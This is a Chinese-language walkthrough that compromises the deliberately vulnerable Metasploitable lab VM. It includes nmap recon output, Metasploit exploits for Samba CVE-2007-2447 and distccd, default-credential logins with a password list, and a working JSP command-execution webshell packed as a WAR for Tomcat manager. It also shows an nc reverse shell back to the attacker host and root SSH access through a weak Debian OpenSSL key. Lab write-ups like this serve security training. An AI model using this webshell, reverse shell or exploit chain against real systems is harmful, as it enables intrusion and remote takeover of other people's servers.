目录
0x00 准备
下载链接:https://download.vulnhub.com/metasploitable/Metasploitable.zip
介绍:Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image.This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file.These sources of information are usually helpful towards the completion of the release as the author can drop hints* as well as methods to help get the release up and working.*** This is a ‘little’ hint**. Useful to help you get started and it shouldn’t give anything away that you quickly could find out for yourself.
环境搭建:
下载后解压出来,不是ova文件,是一些vmx等虚拟机文件。所以导入方式和DC系列的不一样。
对于ova文件,直接导入现有虚拟机就可以。
对于提供vmx等虚拟机文件的情况,就需要自己创建虚拟机,上面的描述中说明了这个靶场是基于Ubuntu 8.04 ,创建虚拟机的时候注意这个系统版本就可以了,选择虚拟磁盘的时候选择使用现有虚拟磁盘:
网络模式选择桥接。
0x01 主机信息收集
kali的ip:192.168.119.128,eth0
探测靶机ip,执行命令:netdiscover -i eth0 -r 192.168.22.0/24
目标主机的IP:192.168.119.131
探测目标主机的开放端口以及服务:nmap -sV -p 1-65535 -A 192.168.119.131
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-04 09:56 CST
Nmap scan report for 192.168.119.131
Host is up (0.0012s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: 2024-11-04T01:56:58+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 9
| Capabilities flags: 43564
| Some Capabilities: SupportsCompression, LongColumnFlag, SwitchToSSLAfterHandshake, Support41Auth, ConnectWithDatabase, SupportsTransactions, Speaks41ProtocolNew
| Status: Autocommit
|_ Salt: o1EHxG9(Xckma~x_QXF6
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2024-11-04T01:56:58+00:00; +2s from scanner time.
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
MAC Address: 00:0C:29:39:12:B2 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 1h15m02s, deviation: 2h30m00s, median: 1s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2024-11-03T20:56:50-05:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)TRACEROUTE
HOP RTT ADDRESS
1 1.25 ms 192.168.119.131OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.31 seconds
在下载的压缩文件中有个 reademe.txt 文件,这里面也列出了端口的相关信息。
0x02 Samba服务(CVE-2007-2447)
前面探测开放端口的时候,可以看到开放了Samba服务,并且版本是3.0.x:
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
搜索了一下这个版本相关的漏洞,发现一个命令注入漏洞CVE-2007-2447。在msf中进行尝试:
msfconsole
search cve-2007-2447
use exploit/multi/samba/usermap_script
show options
set RHOSTS 192.168.119.131
show options
run
执行命令查看当前权限:id
直接就是root权限。
0x03 Distccd(CVE-2004-2687)
上面的端口探测有一个3632端口,开放了distccd服务:3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
版本 4.2.4 中的 Distccd 编译器服务器,远程代码执行漏洞利用。
直接在msf中使用:
msfconsole
search distccd
use exploit/unix/misc/distcc_exec
set RHOST 192.168.119.131
run
0x04 Mysql弱口令
前面端口探测时发现开放了3306,MySQL。
尝试一下弱口令:mysql -h 192.168.119.131 -uroot -proot
这里会报错:ERROR 2026 (HY000): TLS/SSL error: wrong version number
所以再加上–skip-ssl参数,执行命令:mysql -h 192.168.119.131 -uroot -proot --skip-ssl
登录上mysql以后查看当前用户的权限:show grants;
查看所有的数据库:show databases;
使用tikiwiki数据库:use tikiwiki;
查询所有的表:show tables;
查询users_users表中的所有内容:select * from users_users;
访问:http://192.168.119.131/tikiwiki/tiki-index.php
用查询出来的用户名admin和密码admin进行登录:
登录上以后会强制修改密码,下图的样子就是登录成功了:
0x05 Postgresql弱口令
端口探测的时候发现开放了5432端口,Postgresql服务:
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2024-11-04T01:56:58+00:00; +2s from scanner time.
尝试用户名和密码都是postgres。
执行命令:psql -h 192.168.119.131 -U postgres
输入密码:postgres
0x06 Telnet弱口令
端口探测中发现开放了23端口,telnet服务:
23/tcp open telnet Linux telnetd
尝试telnet连接,执行命令:telnet 192.168.119.131
用户名和密码都是msfadmin:
可以看一下/etc/passwd文件内容,是否有其他用户可以进行尝试。
还可以使用:user/user,postgres/postgres,sys/batman,klog/123456789,service/service
0x07 Tomcat
前面端口探测时可以看到开放了8180端口,Tomcat+JSP。
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
在浏览器中访问一下:192.168.119.131:8180
点击tomcat manager,尝试弱口令tomcat/tomcat,登录到后台。发现一个可以上传war文件的地方:
前面知道这个网站是是jsp的。所以考虑将一个jsp的可回显马打包成war上传。
jsp的可回显马代码如下。意思是如果请求的fangwen参数的值是000,就把cmd参数的内容当作系统命令来执行。
<%if("000".equals(request.getParameter("fangwen"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>
在kali中将上面的代码保存成fangwen.jsp,然后执行命令生成war文件:jar -cvf muma.war fangwen.jsp
在刚才的地方上传生成的war文件后,会返回一个成功的界面:
接着访问刚才上传的文件,并且设置好参数:192.168.119.131:8180/muma/fangwen.jsp?fangwen=000&cmd=id
注意:不要忘记指定端口8180,war包的路径不带后缀名。
下图则表示执行系统命令成功:
然后就可以修改cmd参数的值,来反弹shell。
先在kali上监听端口9889:nc -lvvp 9889
然后访问:http://192.168.119.131:8180/muma/fangwen.jsp?fangwen=000&cmd=nc%20-e%20/bin/bash 192.168.119.128%209889
获取交互式shell:python -c 'import pty; pty.spawn ("/bin/bash")’
查看内核版本:uname -a
进入root目录:cd root
查看都有什么:ls -al
发现一个.ssh 目录,再进入这个目录,可以看到一个authorized_keys公钥文件。看一下文件内容。
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
猜测存在openssl软件包伪随机数泄露。
在kali中执行命令下载debian_ssh_rsa_2048_x86.tar.bz2:
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
解压下载的文件:tar -jxvf 5622.tar.bz2
解压得到目录rsa,进入目录:cd rsa/2048
查找之前发现的公钥文件的内容:grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable *.pub
(其中,-l 参数的作用是查询多文件时只输出包含匹配字符的文件名。)
57c3115d77c56390332dc5c49978627a-5429
这个就是公钥对应的私钥。
通过这个私钥登录:ssh root@192.168.119.131 -i 57c3115d77c56390332dc5c49978627a-5429
这里登录的时候会报错,出现这个错误的一般原因是ssh的服务端版本和客户端版本不匹配,所以需要加上参数-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
。最终要执行的命令:
ssh root@192.168.119.131 -i 57c3115d77c56390332dc5c49978627a-5429 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
可以看到以root用户登录上了: